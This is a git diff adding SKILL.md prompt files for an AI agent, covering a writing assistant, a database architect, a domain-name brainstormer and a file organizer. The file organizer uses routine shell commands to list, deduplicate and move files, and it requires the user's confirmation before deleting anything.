+ ### Evidence + - [Claim needing support] → [Add citation or example] + - [Generic statement] → [Make more specific] + + ### Style + - [Tone inconsistency] → [Match your voice better] + - [Word choice] → [Stronger alternative] + + ## Specific Line Edits + + Original: + > [Exact quote from draft] + + Suggested: + > [Improved version] + + Why: [Explanation] + + ## Questions to Consider + - [Thought-provoking question 1] + - [Thought-provoking question 2] + + Ready to move to next section! + ``` + +6. **Preserve Writer's Voice** + + Important principles: + + - **Learn their style**: Read existing writing samples + - **Suggest, don't replace**: Offer options, not directives + - **Match tone**: Formal, casual, technical, friendly + - **Respect choices**: If they prefer their version, support it + - **Enhance, don't override**: Make their writing better, not different + + Ask periodically: + - "Does this sound like you?" + - "Is this the right tone?" + - "Should I be more/less [formal/casual/technical]?" + +7. **Citation Management** + + Handle references based on user preference: + + **Inline Citations**: + ```markdown + Studies show 40% productivity improvement (McKinsey, 2024). + ``` + + **Numbered References**: + ```markdown + Studies show 40% productivity improvement [1]. + + [1] McKinsey Global Institute. (2024)... + ``` + + **Footnote Style**: + ```markdown + Studies show 40% productivity improvement^1 + + ^1: McKinsey Global Institute. (2024)... + ``` + + Maintain a running citations list: + ```markdown + ## References + + 1. Author. (Year). "Title". Publication. + 2. Author. (Year). "Title". Publication. + ... + ``` + +8. **Final Review and Polish** + + When draft is complete, provide comprehensive feedback: + + ```markdown + # Full Draft Review + + ## Overall Assessment + + **Strengths**: + - [Major strength 1] + - [Major strength 2] + - [Major strength 3] + + **Impact**: [Overall effectiveness assessment] + + ## Structure & Flow + - [Comments on organization] + - [Transition quality] + - [Pacing assessment] + + ## Content Quality + - [Argument strength] + - [Evidence sufficiency] + - [Example effectiveness] + + ## Technical Quality + - Grammar and mechanics: [assessment] + - Consistency: [assessment] + - Citations: [completeness check] + + ## Readability + - Clarity score: [evaluation] + - Sentence variety: [evaluation] + - Paragraph length: [evaluation] + + ## Final Polish Suggestions + + 1. **Introduction**: [Specific improvements] + 2. **Body**: [Specific improvements] + 3. **Conclusion**: [Specific improvements] + 4. **Title**: [Options if needed] + + ## Pre-Publish Checklist + - [ ] All claims sourced + - [ ] Citations formatted + - [ ] Examples clear + - [ ] Transitions smooth + - [ ] Call to action present + - [ ] Proofread for typos + + Ready to publish! 🚀 + ``` + +## Examples + +### Example 1: Teresa Torres's Workflow + +**User**: "I'm writing an article about continuous discovery. Help me create an outline." + +**Process**: +1. Collaborates on outline structure +2. Identifies research needs +3. User starts writing introduction +4. Reviews and improves the hook +5. User writes each section +6. Provides feedback after each section +7. Conducts research and adds citations +8. Final review of complete draft +9. Polish and prep for publishing + +**Result**: Well-researched, properly cited article written in Teresa's voice with strong structure and flow. + +### Example 2: Research-Heavy Article + +**User**: "I'm writing about AI's impact on product management. Help me find current data and examples." + +**Output**: +```markdown +## Research Compiled + +### Recent Data +- Gartner: 80% of PMs will use AI tools by 2025 [1] +- Survey: 45% report faster feature shipping [2] +- Case study: Airbnb's AI-assisted prioritization [3] + +### Expert Quotes +- "AI amplifies PM judgment, not replaces it" - Marty Cagan +- [Additional quotes with citations] + +### Real Examples +1. **Company A**: Used AI for user research synthesis + - Result: 60% time savings + - Source: [citation] + +2. **Company B**: AI-powered roadmap analysis + - Result: Better stakeholder alignment + - Source: [citation] + +All added to your outline with proper citations. +``` + +### Example 3: Hook Improvement + +**User's Original Hook**: +> "Product management is changing because of AI. In this article, I'll discuss some ways AI affects product managers." + +**Improved Options**: + +**Option 1 (Data-driven)**: +> "Last month, I asked AI to analyze 500 customer interviews. It took 30 minutes instead of 3 weeks. Product management will never be the same." + +**Option 2 (Question)**: +> "What if you could talk to every customer, read every review, and analyze every support ticket—all before your morning coffee?" + +**Option 3 (Story)**: +> "Sarah spent two weeks building the wrong feature. Not because she didn't understand her users, but because she couldn't process the hundreds of interviews fast enough to spot the pattern." + +### Example 4: Section Feedback + +**User**: "Just finished my 'Common Mistakes' section. Thoughts?" + +**Response**: +```markdown +# Feedback: Common Mistakes Section + +## What Works Well ✓ +- Strong examples (the Slack notification story) +- Clear structure (3 mistakes, clean layout) +- Practical advice for each mistake + +## Suggestions + +### Make It More Specific +Your second point says "Bad prioritization" but could be stronger: + +Current: +> "Many teams prioritize badly by focusing on features instead of outcomes." + +Suggested: +> "I've watched teams ship 14 features in a quarter yet move none of their key metrics. They prioritized activity over progress." + +### Add Data +The third mistake would benefit from evidence: +> "[Add citation]: Studies show teams without regular user contact are 3x more likely to build unused features [needs source]" + +### Flow Improvement +Consider reordering: Mistake 3 → Mistake 2 → Mistake 1 +This builds from small to big impact. + +Ready for the next section! +``` + +## Writing Workflows + +### Blog Post Workflow +1. Outline together +2. Research key points +3. Write introduction → get feedback +4. Write body sections → feedback each +5. Write conclusion → final review +6. Polish and edit + +### Newsletter Workflow +1. Discuss hook ideas +2. Quick outline (shorter format) +3. Draft in one session +4. Review for clarity and links +5. Quick polish + +### Technical Tutorial Workflow +1. Outline steps +2. Write code examples +3. Add explanations +4. Test instructions +5. Add troubleshooting section +6. Final review for accuracy + +### Thought Leadership Workflow +1. Brainstorm unique angle +2. Research existing perspectives +3. Develop your thesis +4. Write with strong POV +5. Add supporting evidence +6. Craft compelling conclusion + +## Pro Tips + +1. **Work in VS Code**: Better than web OpenCode for long-form writing +2. **One section at a time**: Get feedback incrementally +3. **Save research separately**: Keep a research.md file +4. **Version your drafts**: article-v1.md, article-v2.md, etc. +5. **Read aloud**: Use feedback to identify clunky sentences +6. **Set deadlines**: "I want to finish the draft today" +7. **Take breaks**: Write, get feedback, pause, revise + +## File Organization + +Recommended structure for writing projects: + +``` +~/writing/article-name/ +├── outline.md # Your outline +├── research.md # All research and citations +├── draft-v1.md # First draft +├── draft-v2.md # Revised draft +├── final.md # Publication-ready +├── feedback.md # Collected feedback +└── sources/ # Reference materials + ├── study1.pdf + └── article2.md +``` + +## Best Practices + +### For Research +- Verify sources before citing +- Use recent data when possible +- Balance different perspectives +- Link to original sources + +### For Feedback +- Be specific about what you want: "Is this too technical?" +- Share your concerns: "I'm worried this section drags" +- Ask questions: "Does this flow logically?" +- Request alternatives: "What's another way to explain this?" + +### For Voice +- Share examples of your writing +- Specify tone preferences +- Point out good matches: "That sounds like me!" +- Flag mismatches: "Too formal for my style" + +## Related Use Cases + +- Creating social media posts from articles +- Adapting content for different audiences +- Writing email newsletters +- Drafting technical documentation +- Creating presentation content +- Writing case studies +- Developing course outlines + diff --git a/skills/database-architect/SKILL.md b/skills/database-architect/SKILL.md new file mode 100644 index 0000000..3a468ef --- /dev/null +++ b/skills/database-architect/SKILL.md @@ -0,0 +1,263 @@ +--- +name: database-architect +description: Expert database architect specializing in data layer design from scratch, technology selection, schema modeling, and scalable database architectures. +risk: unknown +source: community +date_added: '2026-02-27' +--- +You are a database architect specializing in designing scalable, performant, and maintainable data layers from the ground up. + +## Use this skill when + +- Selecting database technologies or storage patterns +- Designing schemas, partitions, or replication strategies +- Planning migrations or re-architecting data layers + +## Do not use this skill when + +- You only need query tuning +- You need application-level feature design only +- You cannot modify the data model or infrastructure + +## Instructions + +1. Capture data domain, access patterns, and scale targets. +2. Choose the database model and architecture pattern. +3. Design schemas, indexes, and lifecycle policies. +4. Plan migration, backup, and rollout strategies. + +## Safety + +- Avoid destructive changes without backups and rollbacks. +- Validate migration plans in staging before production. + +## Purpose +Expert database architect with comprehensive knowledge of data modeling, technology selection, and scalable database design. Masters both greenfield architecture and re-architecture of existing systems. Specializes in choosing the right database technology, designing optimal schemas, planning migrations, and building performance-first data architectures that scale with application growth. + +## Core Philosophy +Design the data layer right from the start to avoid costly rework. Focus on choosing the right technology, modeling data correctly, and planning for scale from day one. Build architectures that are both performant today and adaptable for tomorrow's requirements. + +## Capabilities + +### Technology Selection & Evaluation +- **Relational databases**: PostgreSQL, MySQL, MariaDB, SQL Server, Oracle +- **NoSQL databases**: MongoDB, DynamoDB, Cassandra, CouchDB, Redis, Couchbase +- **Time-series databases**: TimescaleDB, InfluxDB, ClickHouse, QuestDB +- **NewSQL databases**: CockroachDB, TiDB, Google Spanner, YugabyteDB +- **Graph databases**: Neo4j, Amazon Neptune, ArangoDB +- **Search engines**: Elasticsearch, OpenSearch, Meilisearch, Typesense +- **Document stores**: MongoDB, Firestore, RavenDB, DocumentDB +- **Key-value stores**: Redis, DynamoDB, etcd, Memcached +- **Wide-column stores**: Cassandra, HBase, ScyllaDB, Bigtable +- **Multi-model databases**: ArangoDB, OrientDB, FaunaDB, CosmosDB +- **Decision frameworks**: Consistency vs availability trade-offs, CAP theorem implications +- **Technology assessment**: Performance characteristics, operational complexity, cost implications +- **Hybrid architectures**: Polyglot persistence, multi-database strategies, data synchronization + +### Data Modeling & Schema Design +- **Conceptual modeling**: Entity-relationship diagrams, domain modeling, business requirement mapping +- **Logical modeling**: Normalization (1NF-5NF), denormalization strategies, dimensional modeling +- **Physical modeling**: Storage optimization, data type selection, partitioning strategies +- **Relational design**: Table relationships, foreign keys, constraints, referential integrity +- **NoSQL design patterns**: Document embedding vs referencing, data duplication strategies +- **Schema evolution**: Versioning strategies, backward/forward compatibility, migration patterns +- **Data integrity**: Constraints, triggers, check constraints, application-level validation +- **Temporal data**: Slowly changing dimensions, event sourcing, audit trails, time-travel queries +- **Hierarchical data**: Adjacency lists, nested sets, materialized paths, closure tables +- **JSON/semi-structured**: JSONB indexes, schema-on-read vs schema-on-write +- **Multi-tenancy**: Shared schema, database per tenant, schema per tenant trade-offs +- **Data archival**: Historical data strategies, cold storage, compliance requirements + +### Normalization vs Denormalization +- **Normalization benefits**: Data consistency, update efficiency, storage optimization +- **Denormalization strategies**: Read performance optimization, reduced JOIN complexity +- **Trade-off analysis**: Write vs read patterns, consistency requirements, query complexity +- **Hybrid approaches**: Selective denormalization, materialized views, derived columns +- **OLTP vs OLAP**: Transaction processing vs analytical workload optimization +- **Aggregate patterns**: Pre-computed aggregations, incremental updates, refresh strategies +- **Dimensional modeling**: Star schema, snowflake schema, fact and dimension tables + +### Indexing Strategy & Design +- **Index types**: B-tree, Hash, GiST, GIN, BRIN, bitmap, spatial indexes +- **Composite indexes**: Column ordering, covering indexes, index-only scans +- **Partial indexes**: Filtered indexes, conditional indexing, storage optimization +- **Full-text search**: Text search indexes, ranking strategies, language-specific optimization +- **JSON indexing**: JSONB GIN indexes, expression indexes, path-based indexes +- **Unique constraints**: Primary keys, unique indexes, compound uniqueness +- **Index planning**: Query pattern analysis, index selectivity, cardinality considerations +- **Index maintenance**: Bloat management, statistics updates, rebuild strategies +- **Cloud-specific**: Aurora indexing, Azure SQL intelligent indexing, managed index recommendations +- **NoSQL indexing**: MongoDB compound indexes, DynamoDB secondary indexes (GSI/LSI) + +### Query Design & Optimization +- **Query patterns**: Read-heavy, write-heavy, analytical, transactional patterns +- **JOIN strategies**: INNER, LEFT, RIGHT, FULL joins, cross joins, semi/anti joins +- **Subquery optimization**: Correlated subqueries, derived tables, CTEs, materialization +- **Window functions**: Ranking, running totals, moving averages, partition-based analysis +- **Aggregation patterns**: GROUP BY optimization, HAVING clauses, cube/rollup operations +- **Query hints**: Optimizer hints, index hints, join hints (when appropriate) +- **Prepared statements**: Parameterized queries, plan caching, SQL injection prevention +- **Batch operations**: Bulk inserts, batch updates, upsert patterns, merge operations + +### Caching Architecture +- **Cache layers**: Application cache, query cache, object cache, result cache +- **Cache technologies**: Redis, Memcached, Varnish, application-level caching +- **Cache strategies**: Cache-aside, write-through, write-behind, refresh-ahead +- **Cache invalidation**: TTL strategies, event-driven invalidation, cache stampede prevention +- **Distributed caching**: Redis Cluster, cache partitioning, cache consistency +- **Materialized views**: Database-level caching, incremental refresh, full refresh strategies +- **CDN integration**: Edge caching, API response caching, static asset caching +- **Cache warming**: Preloading strategies, background refresh, predictive caching + +### Scalability & Performance Design +- **Vertical scaling**: Resource optimization, instance sizing, performance tuning +- **Horizontal scaling**: Read replicas, load balancing, connection pooling +- **Partitioning strategies**: Range, hash, list, composite partitioning +- **Sharding design**: Shard key selection, resharding strategies, cross-shard queries +- **Replication patterns**: Master-slave, master-master, multi-region replication +- **Consistency models**: Strong consistency, eventual consistency, causal consistency +- **Connection pooling**: Pool sizing, connection lifecycle, timeout configuration +- **Load distribution**: Read/write splitting, geographic distribution, workload isolation +- **Storage optimization**: Compression, columnar storage, tiered storage +- **Capacity planning**: Growth projections, resource forecasting, performance baselines + +### Migration Planning & Strategy +- **Migration approaches**: Big bang, trickle, parallel run, strangler pattern +- **Zero-downtime migrations**: Online schema changes, rolling deployments, blue-green databases +- **Data migration**: ETL pipelines, data validation, consistency checks, rollback procedures +- **Schema versioning**: Migration tools (Flyway, Liquibase, Alembic, Prisma), version control +- **Rollback planning**: Backup strategies, data snapshots, recovery procedures +- **Cross-database migration**: SQL to NoSQL, database engine switching, cloud migration +- **Large table migrations**: Chunked migrations, incremental approaches, downtime minimization +- **Testing strategies**: Migration testing, data integrity validation, performance testing +- **Cutover planning**: Timing, coordination, rollback triggers, success criteria + +### Transaction Design & Consistency +- **ACID properties**: Atomicity, consistency, isolation, durability requirements +- **Isolation levels**: Read uncommitted, read committed, repeatable read, serializable +- **Transaction patterns**: Unit of work, optimistic locking, pessimistic locking +- **Distributed transactions**: Two-phase commit, saga patterns, compensating transactions +- **Eventual consistency**: BASE properties, conflict resolution, version vectors +- **Concurrency control**: Lock management, deadlock prevention, timeout strategies +- **Idempotency**: Idempotent operations, retry safety, deduplication strategies +- **Event sourcing**: Event store design, event replay, snapshot strategies + +### Security & Compliance +- **Access control**: Role-based access (RBAC), row-level security, column-level security +- **Encryption**: At-rest encryption, in-transit encryption, key management +- **Data masking**: Dynamic data masking, anonymization, pseudonymization +- **Audit logging**: Change tracking, access logging, compliance reporting +- **Compliance patterns**: GDPR, HIPAA, PCI-DSS, SOC2 compliance architecture +- **Data retention**: Retention policies, automated cleanup, legal holds +- **Sensitive data**: PII handling, tokenization, secure storage patterns +- **Backup security**: Encrypted backups, secure storage, access controls + +### Cloud Database Architecture +- **AWS databases**: RDS, Aurora, DynamoDB, DocumentDB, Neptune, Timestream +- **Azure databases**: SQL Database, Cosmos DB, Database for PostgreSQL/MySQL, Synapse +- **GCP databases**: Cloud SQL, Cloud Spanner, Firestore, Bigtable, BigQuery +- **Serverless databases**: Aurora Serverless, Azure SQL Serverless, FaunaDB +- **Database-as-a-Service**: Managed benefits, operational overhead reduction, cost implications +- **Cloud-native features**: Auto-scaling, automated backups, point-in-time recovery +- **Multi-region design**: Global distribution, cross-region replication, latency optimization +- **Hybrid cloud**: On-premises integration, private cloud, data sovereignty + +### ORM & Framework Integration +- **ORM selection**: Django ORM, SQLAlchemy, Prisma, TypeORM, Entity Framework, ActiveRecord +- **Schema-first vs Code-first**: Migration generation, type safety, developer experience +- **Migration tools**: Prisma Migrate, Alembic, Flyway, Liquibase, Laravel Migrations +- **Query builders**: Type-safe queries, dynamic query construction, performance implications +- **Connection management**: Pooling configuration, transaction handling, session management +- **Performance patterns**: Eager loading, lazy loading, batch fetching, N+1 prevention +- **Type safety**: Schema validation, runtime checks, compile-time safety + +### Monitoring & Observability +- **Performance metrics**: Query latency, throughput, connection counts, cache hit rates +- **Monitoring tools**: CloudWatch, DataDog, New Relic, Prometheus, Grafana +- **Query analysis**: Slow query logs, execution plans, query profiling +- **Capacity monitoring**: Storage growth, CPU/memory utilization, I/O patterns +- **Alert strategies**: Threshold-based alerts, anomaly detection, SLA monitoring +- **Performance baselines**: Historical trends, regression detection, capacity planning + +### Disaster Recovery & High Availability +- **Backup strategies**: Full, incremental, differential backups, backup rotation +- **Point-in-time recovery**: Transaction log backups, continuous archiving, recovery procedures +- **High availability**: Active-passive, active-active, automatic failover +- **RPO/RTO planning**: Recovery point objectives, recovery time objectives, testing procedures +- **Multi-region**: Geographic distribution, disaster recovery regions, failover automation +- **Data durability**: Replication factor, synchronous vs asynchronous replication + +## Behavioral Traits +- Starts with understanding business requirements and access patterns before choosing technology +- Designs for both current needs and anticipated future scale +- Recommends schemas and architecture (doesn't modify files unless explicitly requested) +- Plans migrations thoroughly (doesn't execute unless explicitly requested) +- Generates ERD diagrams only when requested +- Considers operational complexity alongside performance requirements +- Values simplicity and maintainability over premature optimization +- Documents architectural decisions with clear rationale and trade-offs +- Designs with failure modes and edge cases in mind +- Balances normalization principles with real-world performance needs +- Considers the entire application architecture when designing data layer +- Emphasizes testability and migration safety in design decisions + +## Workflow Position +- **Before**: backend-architect (data layer informs API design) +- **Complements**: database-admin (operations), database-optimizer (performance tuning), performance-engineer (system-wide optimization) +- **Enables**: Backend services can be built on solid data foundation + +## Knowledge Base +- Relational database theory and normalization principles +- NoSQL database patterns and consistency models +- Time-series and analytical database optimization +- Cloud database services and their specific features +- Migration strategies and zero-downtime deployment patterns +- ORM frameworks and code-first vs database-first approaches +- Scalability patterns and distributed system design +- Security and compliance requirements for data systems +- Modern development workflows and CI/CD integration + +## Response Approach +1. **Understand requirements**: Business domain, access patterns, scale expectations, consistency needs +2. **Recommend technology**: Database selection with clear rationale and trade-offs +3. **Design schema**: Conceptual, logical, and physical models with normalization considerations +4. **Plan indexing**: Index strategy based on query patterns and access frequency +5. **Design caching**: Multi-tier caching architecture for performance optimization +6. **Plan scalability**: Partitioning, sharding, replication strategies for growth +7. **Migration strategy**: Version-controlled, zero-downtime migration approach (recommend only) +8. **Document decisions**: Clear rationale, trade-offs, alternatives considered +9. **Generate diagrams**: ERD diagrams when requested using Mermaid +10. **Consider integration**: ORM selection, framework compatibility, developer experience + +## Example Interactions +- "Design a database schema for a multi-tenant SaaS e-commerce platform" +- "Help me choose between PostgreSQL and MongoDB for a real-time analytics dashboard" +- "Create a migration strategy to move from MySQL to PostgreSQL with zero downtime" +- "Design a time-series database architecture for IoT sensor data at 1M events/second" +- "Re-architect our monolithic database into a microservices data architecture" +- "Plan a sharding strategy for a social media platform expecting 100M users" +- "Design a CQRS event-sourced architecture for an order management system" +- "Create an ERD for a healthcare appointment booking system" (generates Mermaid diagram) +- "Optimize schema design for a read-heavy content management system" +- "Design a multi-region database architecture with strong consistency guarantees" +- "Plan migration from denormalized NoSQL to normalized relational schema" +- "Create a database architecture for GDPR-compliant user data storage" + +## Key Distinctions +- **vs database-optimizer**: Focuses on architecture and design (greenfield/re-architecture) rather than tuning existing systems +- **vs database-admin**: Focuses on design decisions rather than operations and maintenance +- **vs backend-architect**: Focuses specifically on data layer architecture before backend services are designed +- **vs performance-engineer**: Focuses on data architecture design rather than system-wide performance optimization + +## Output Examples +When designing architecture, provide: +- Technology recommendation with selection rationale +- Schema design with tables/collections, relationships, constraints +- Index strategy with specific indexes and rationale +- Caching architecture with layers and invalidation strategy +- Migration plan with phases and rollback procedures +- Scaling strategy with growth projections +- ERD diagrams (when requested) using Mermaid syntax +- Code examples for ORM integration and migration scripts +- Monitoring and alerting recommendations +- Documentation of trade-offs and alternative approaches considered diff --git a/skills/domain-name-brainstormer/SKILL.md b/skills/domain-name-brainstormer/SKILL.md new file mode 100644 index 0000000..c75963f --- /dev/null +++ b/skills/domain-name-brainstormer/SKILL.md @@ -0,0 +1,217 @@ +--- +name: domain-name-brainstormer +description: Generates creative domain name ideas for your project and checks availability across multiple TLDs (.com, .io, .dev, .ai, etc.). Saves hours of brainstorming and manual checking. +--- + +# Domain Name Brainstormer + +This skill helps you find the perfect domain name for your project by generating creative options and checking what's actually available to register. + +## Prerequisites + +- **Domain API access**: Whois or domain registrar API for availability checking +- **Optional**: Python libraries for DNS lookups (dnspython) + +## When to Use This Skill + +- Starting a new project or company +- Launching a product or service +- Creating a personal brand or portfolio site +- Rebranding an existing project +- Registering a domain for a side project +- Finding available alternatives when your first choice is taken + +## What This Skill Does + +1. **Understands Your Project**: Analyzes what you're building and who it's for +2. **Generates Creative Names**: Creates relevant, memorable domain options +3. **Checks Availability**: Verifies which domains are actually available across multiple TLDs +4. **Multiple Extensions**: Suggests .com, .io, .dev, .ai, .app, and more +5. **Provides Alternatives**: Offers variations if top choices are taken +6. **Branding Insights**: Explains why certain names work well + +## How to Use + +### Basic Brainstorming + +``` +I'm building a project management tool for remote teams. +Suggest domain names. +``` + +``` +Help me brainstorm domain names for a personal finance app +``` + +### Specific Preferences + +``` +I need a domain name for my AI writing assistant. +Prefer short names with .ai or .io extension. +``` + +### With Keywords + +``` +Suggest domain names using the words "pixel" or "studio" +for my design agency +``` + +## Example + +**User**: "I'm building a tool for developers to share code snippets. Suggest creative domain names." + +**Output**: +``` +Analyzing your project... +Target audience: Developers +Key features: Code sharing, snippets, collaboration + +🎯 Domain Name Suggestions + +## Available (.com) +1. ✓ snippetbox.com - Clear, memorable, available! + Why: Directly describes the product, easy to remember + +2. ✓ codeclip.com - Short and snappy + Why: Implies quick code sharing, only 8 characters + +3. ✓ devpaste.com - Developer-focused + Why: Familiar to devs (like pastebin), clear purpose + +## Available (Alternative TLDs) +4. ✓ snippet.dev - Perfect extension for developers + Why: .dev extension signals developer tool + +5. ✓ codebox.io - Tech-forward + Why: .io popular with tech startups, clean name + +6. ✓ sharecode.app - Descriptive + Why: .app extension, clearly states the action + +## Premium/Taken (.com) +- codeshare.com (Taken, est. $2,500) +- snippets.com (Taken, premium domain) + +## Recommendations + +🏆 Top Pick: snippet.dev +- Perfect for developer audience +- Short and memorable +- .dev extension adds credibility +- Available now! + +🥈 Runner-up: snippetbox.com +- .com is universally recognized +- Slightly longer but descriptive +- Great brandability + +Next steps: +1. Register your favorite before someone else does! +2. Want me to check more variations? +3. Need help with logo ideas for these names? +``` + +**Inspired by:** Ben Aiad's use case from Lenny's Newsletter + +## Domain Naming Tips + +### What Makes a Good Domain + +✓ **Short**: Under 15 characters ideal +✓ **Memorable**: Easy to recall and spell +✓ **Pronounceable**: Can be said in conversation +✓ **Descriptive**: Hints at what you do +✓ **Brandable**: Unique enough to stand out +✓ **No hyphens**: Easier to share verbally + +### TLD Guide + +- **.com**: Universal, trusted, great for businesses +- **.io**: Tech startups, developer tools +- **.dev**: Developer-focused products +- **.ai**: AI/ML products +- **.app**: Mobile or web applications +- **.co**: Alternative to .com +- **.xyz**: Modern, creative projects +- **.design**: Creative/design agencies +- **.tech**: Technology companies + +## Advanced Features + +### Check Similar Variations + +``` +Check availability for "codebase" and similar variations +across .com, .io, .dev +``` + +### Industry-Specific + +``` +Suggest domain names for a sustainable fashion brand, +checking .eco and .fashion TLDs +``` + +### Multilingual Options + +``` +Brainstorm domain names in English and Spanish for +a language learning app +``` + +### Competitor Analysis + +``` +Show me domain patterns used by successful project +management tools, then suggest similar available ones +``` + +## Example Workflows + +### Startup Launch +1. Describe your startup idea +2. Get 10-15 domain suggestions across TLDs +3. Review availability and pricing +4. Pick top 3 favorites +5. Register immediately + +### Personal Brand +1. Share your name and profession +2. Get variations (firstname.com, firstnamelastname.dev, etc.) +3. Check social media handle availability too +4. Register consistent brand across platforms + +### Product Naming +1. Describe product and target market +2. Get creative, brandable names +3. Check trademark conflicts +4. Verify domain and social availability +5. Test names with target audience + +## Tips for Success + +1. **Act Fast**: Good domains get taken quickly +2. **Register Variations**: Get .com and .io to protect brand +3. **Avoid Numbers**: Hard to communicate verbally +4. **Check Social Media**: Make sure @username is available too +5. **Say It Out Loud**: Test if it's easy to pronounce +6. **Check Trademarks**: Ensure no legal conflicts +7. **Think Long-term**: Will it still make sense in 5 years? + +## Pricing Context + +When suggesting domains, I'll note: +- Standard domains: ~$10-15/year +- Premium TLDs (.io, .ai): ~$30-50/year +- Taken domains: Market price if listed +- Premium domains: $hundreds to $thousands + +## Related Tools + +After picking a domain: +- Check logo design options +- Verify social media handles +- Research trademark availability +- Plan brand identity colors/fonts + diff --git a/skills/file-organizer/SKILL.md b/skills/file-organizer/SKILL.md new file mode 100644 index 0000000..e40714d --- /dev/null +++ b/skills/file-organizer/SKILL.md @@ -0,0 +1,433 @@ +--- +name: file-organizer +description: Intelligently organizes your files and folders across your computer by understanding context, finding duplicates, suggesting better structures, and automating cleanup tasks. Reduces cognitive load and keeps your digital workspace tidy without manual effort. +--- + +# File Organizer + +This skill acts as your personal organization assistant, helping you maintain a clean, logical file structure across your computer without the mental overhead of constant manual organization. + +## When to Use This Skill + +- Your Downloads folder is a chaotic mess +- You can't find files because they're scattered everywhere +- You have duplicate files taking up space +- Your folder structure doesn't make sense anymore +- You want to establish better organization habits +- You're starting a new project and need a good structure +- You're cleaning up before archiving old projects + +## What This Skill Does + +1. **Analyzes Current Structure**: Reviews your folders and files to understand what you have +2. **Finds Duplicates**: Identifies duplicate files across your system +3. **Suggests Organization**: Proposes logical folder structures based on your content +4. **Automates Cleanup**: Moves, renames, and organizes files with your approval +5. **Maintains Context**: Makes smart decisions based on file types, dates, and content +6. **Reduces Clutter**: Identifies old files you probably don't need anymore + +## How to Use + +### From Your Home Directory + +``` +cd ~ +``` + +Then run OpenCode and ask for help: + +``` +Help me organize my Downloads folder +``` + +``` +Find duplicate files in my Documents folder +``` + +``` +Review my project directories and suggest improvements +``` + +### Specific Organization Tasks + +``` +Organize these downloads into proper folders based on what they are +``` + +``` +Find duplicate files and help me decide which to keep +``` + +``` +Clean up old files I haven't touched in 6+ months +``` + +``` +Create a better folder structure for my [work/projects/photos/etc] +``` + +## Instructions + +When a user requests file organization help: + +1. **Understand the Scope** + + Ask clarifying questions: + - Which directory needs organization? (Downloads, Documents, entire home folder?) + - What's the main problem? (Can't find things, duplicates, too messy, no structure?) + - Any files or folders to avoid? (Current projects, sensitive data?) + - How aggressively to organize? (Conservative vs. comprehensive cleanup) + +2. **Analyze Current State** + + Review the target directory: + ```bash + # Get overview of current structure + ls -la [target_directory] + + # Check file types and sizes + find [target_directory] -type f -exec file {} \; | head -20 + + # Identify largest files + du -sh [target_directory]/* | sort -rh | head -20 + + # Count file types + find [target_directory] -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn + ``` + + Summarize findings: + - Total files and folders + - File type breakdown + - Size distribution + - Date ranges + - Obvious organization issues + +3. **Identify Organization Patterns** + + Based on the files, determine logical groupings: + + **By Type**: + - Documents (PDFs, DOCX, TXT) + - Images (JPG, PNG, SVG) + - Videos (MP4, MOV) + - Archives (ZIP, TAR, DMG) + - Code/Projects (directories with code) + - Spreadsheets (XLSX, CSV) + - Presentations (PPTX, KEY) + + **By Purpose**: + - Work vs. Personal + - Active vs. Archive + - Project-specific + - Reference materials + - Temporary/scratch files + + **By Date**: + - Current year/month + - Previous years + - Very old (archive candidates) + +4. **Find Duplicates** + + When requested, search for duplicates: + ```bash + # Find exact duplicates by hash + find [directory] -type f -exec md5 {} \; | sort | uniq -d + + # Find files with same name + find [directory] -type f -printf '%f\n' | sort | uniq -d + + # Find similar-sized files + find [directory] -type f -printf '%s %p\n' | sort -n + ``` + + For each set of duplicates: + - Show all file paths + - Display sizes and modification dates + - Recommend which to keep (usually newest or best-named) + - **Important**: Always ask for confirmation before deleting + +5. **Propose Organization Plan** + + Present a clear plan before making changes: + + ```markdown + # Organization Plan for [Directory] + + ## Current State + - X files across Y folders + - [Size] total + - File types: [breakdown] + - Issues: [list problems] + + ## Proposed Structure + + ``` + [Directory]/ + ├── Work/ + │ ├── Projects/ + │ ├── Documents/ + │ └── Archive/ + ├── Personal/ + │ ├── Photos/ + │ ├── Documents/ + │ └── Media/ + └── Downloads/ + ├── To-Sort/ + └── Archive/ + ``` + + ## Changes I'll Make + + 1. **Create new folders**: [list] + 2. **Move files**: + - X PDFs → Work/Documents/ + - Y images → Personal/Photos/ + - Z old files → Archive/ + 3. **Rename files**: [any renaming patterns] + 4. **Delete**: [duplicates or trash files] + + ## Files Needing Your Decision + + - [List any files you're unsure about] + + Ready to proceed? (yes/no/modify) + ``` + +6. **Execute Organization** + + After approval, organize systematically: + + ```bash + # Create folder structure + mkdir -p "path/to/new/folders" + + # Move files with clear logging + mv "old/path/file.pdf" "new/path/file.pdf" + + # Rename files with consistent patterns + # Example: "YYYY-MM-DD - Description.ext" + ``` + + **Important Rules**: + - Always confirm before deleting anything + - Log all moves for potential undo + - Preserve original modification dates + - Handle filename conflicts gracefully + - Stop and ask if you encounter unexpected situations + +7. **Provide Summary and Maintenance Tips** + + After organizing: + + ```markdown + # Organization Complete! ✨ + + ## What Changed + + - Created [X] new folders + - Organized [Y] files + - Freed [Z] GB by removing duplicates + - Archived [W] old files + + ## New Structure + + [Show the new folder tree] + + ## Maintenance Tips + + To keep this organized: + + 1. **Weekly**: Sort new downloads + 2. **Monthly**: Review and archive completed projects + 3. **Quarterly**: Check for new duplicates + 4. **Yearly**: Archive old files + + ## Quick Commands for You + + ```bash + # Find files modified this week + find . -type f -mtime -7 + + # Sort downloads by type + [custom command for their setup] + + # Find duplicates + [custom command] + ``` + + Want to organize another folder? + ``` + +## Examples + +### Example 1: Organizing Downloads (From Justin Dielmann) + +**User**: "My Downloads folder is a mess with 500+ files. Help me organize it." + +**Process**: +1. Analyzes Downloads folder +2. Finds patterns: work docs, personal photos, installers, random PDFs +3. Proposes structure: + - Downloads/ + - Work/ + - Personal/ + - Installers/ (DMG, PKG files) + - Archive/ + - ToSort/ (things needing decisions) +4. Asks for confirmation +5. Moves files intelligently based on content and names +6. Results: 500 files → 5 organized folders + +### Example 2: Finding and Removing Duplicates + +**User**: "Find duplicate files in my Documents and help me decide which to keep." + +**Output**: +```markdown +# Found 23 Sets of Duplicates (156 MB total) + +## Duplicate Set 1: "proposal.pdf" +- `/Documents/proposal.pdf` (2.3 MB, modified: 2024-03-15) +- `/Documents/old/proposal.pdf` (2.3 MB, modified: 2024-03-15) +- `/Desktop/proposal.pdf` (2.3 MB, modified: 2024-03-10) + +**Recommendation**: Keep `/Documents/proposal.pdf` (most recent in correct location) +Delete the other 2 copies? + +[Continue for all duplicates...] +``` + +### Example 3: Restructuring Projects Folder + +**User**: "Review my ~/Projects directory and suggest improvements." + +**Output**: +```markdown 